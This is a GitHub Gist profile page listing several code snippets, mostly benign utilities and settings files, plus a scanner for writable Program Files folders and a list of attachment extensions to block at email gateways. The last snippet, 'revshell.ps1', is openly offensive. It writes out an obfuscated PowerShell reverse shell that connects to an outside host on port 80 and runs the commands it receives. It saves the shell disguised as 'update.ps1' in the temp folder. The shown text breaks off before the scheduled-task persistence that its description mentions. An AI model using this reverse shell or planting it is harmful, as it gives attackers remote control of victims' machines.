Skip to content

Instantly share code, notes, and snippets.

View jdgregson's full-sized avatar

Jonathan Gregson jdgregson

View GitHub Profile
Leaders Makes Sense
Leaders do things that make sense. When they implement an API, the API does the same things as the other APIs they've already implemented, and in the same ways they already do those things. When they make a waiter that waits on their own API operations, the waiters wait as long as the API operations take to perform the API operation, not for exactly 120 seconds or less.
@jdgregson
jdgregson / auth_db.py
Created October 2, 2025 16:52
ComfyUI Proxy
#!/usr/bin/env python3
import sqlite3
import uuid
from datetime import datetime, timedelta
class AuthDB:
def __init__(self, db_path='auth.db'):
self.db_path = db_path
self.init_db()
#!/bin/sh
HOST=myhost.example.com
certbot certonly --preferred-challenges dns --server https://acme-v02.api.letsencrypt.org/directory --manual -d "$HOST"
/opt/kasm/bin/stop
cd "/etc/letsencrypt/archive/$HOST"
cp "$(ls | grep fullchain | tail -n 1)" /opt/kasm/current/certs/kasm_nginx.crt
cp "$(ls | grep privkey | tail -n 1)" /opt/kasm/current/certs/kasm_nginx.key
@jdgregson
jdgregson / Permissions-Scanner.ps1
Last active December 8, 2022 23:13
Scan for insecure permissions on program files directory
$filename = -join ((65..90) + (97..122) | Get-Random -Count 32 | % {[char]$_})
Write-Host "Testing with filename: $filename"
"C:\Program Files", "C:\Program Files (x86)" | ForEach-Object {
$outerDir = $_
Get-ChildItem -Directory -Recurse $outerDir | ForEach-Object {
$innerDir = $_
try {
$out = New-Item -Path $innerDir.FullName -Name $filename -ErrorAction Stop | Out-String
Write-Warning "Path is writable: $($innerDir.FullName)"
$out = Remove-Item -Path $($innerDir.FullName + "\$filename") -ErrorAction Stop | Out-String
@jdgregson
jdgregson / text-to-speach.js
Last active November 29, 2022 18:10
Browser text-to-speach
/**
* Uses the borwser's speech synthesis API to speak the given text. Example:
*
* speak('This is a secret mission in uncharted space.', 2, 1, 2);
*
* @param {string} test The text to speak.
* @param {float} rate The rate at which to speak the text, between 0.1 and 10.
* @param {float} pitch The pitch at which to speak the text, between 0 and 2.
* @param {int} voice The voice to use, e.g. 3.
*/
@jdgregson
jdgregson / settings.json
Created August 26, 2022 21:00
Windows Terminal Settings
{
"$help": "https://aka.ms/terminal-documentation",
"$schema": "https://aka.ms/terminal-profiles-schema",
"actions":
[
{
"command":
{
"action": "globalSummon"
},
@jdgregson
jdgregson / vscode.json
Last active December 15, 2025 08:49
vscode config
{
"workbench.colorTheme": "Solarized Dark",
"editor.mouseWheelScrollSensitivity": 2,
"editor.hover.delay": 600,
"editor.occurrencesHighlight": false,
"editor.renderLineHighlight": "all",
"editor.semanticHighlighting.enabled": true,
"editor.folding": false,
"indenticator.showCurrentDepthInStatusBar": false,
"indenticator.showHover": false,
@jdgregson
jdgregson / syscmd.py
Last active June 9, 2022 03:07
Run system commands in Python
"""
NOTE: This requires Python 3.9+ simply due to the use of "tuple" as a type hint.
If you remove type hints this works back to at least 3.4, and likely older.
"""
import subprocess
import sys
def syscmd(cmd: str) -> tuple[int, bytes]:
@jdgregson
jdgregson / block-these.txt
Last active September 26, 2022 06:44
Filetypes to block - Files with these extensions should be blocked at email gateways (but you probably don't want to block docx, elxs, etc.)
accdb
accde
ace
ade
adp
ani
apk
app
appcontent-ms
appinstaller
@jdgregson
jdgregson / revshell.ps1
Created March 25, 2022 08:21
Drops a reverse shell and launches it via a scheduled task one minute later and then every 24 hours. Shell portion modified from: https://github.com/tihanyin/PSSW100AVB/blob/main/ReverseShell_2022_03.ps1
# reverse shell hostname/ip
$h = "research.jdgregson.com"
# reverse shell port
$p = 80
# drop the shell
$shell = '$J=New-Object System.Net.Sockets.TCPClient("HOST",PORT);$SS=$J.GetStream();[byte[]]$OO=0..((2-shl(3*5))-1)|%{0};$OO=([text.encoding]::UTF8).GetBytes((Get-Location).Path+"> ");$SS.Write($OO,0,$OO.Length);while(($A=$SS.Read($OO,0,$OO.Length)) -ne 0){;$DD=(New-Object System.Text.UTF8Encoding).GetString($OO,0,$A);$GG=(i`eX $DD 2>&1|Out-String);$H=$GG+(pwd).Path+"> ";$L=([text.encoding]::UTF8).GetBytes($H);$SS.Write($L,0,$L.Length);$SS.Flush()};$JJ.Close()' -replace "HOST",$h -replace "PORT",$p
$script = "$env:temp\update.ps1"
$shell > $script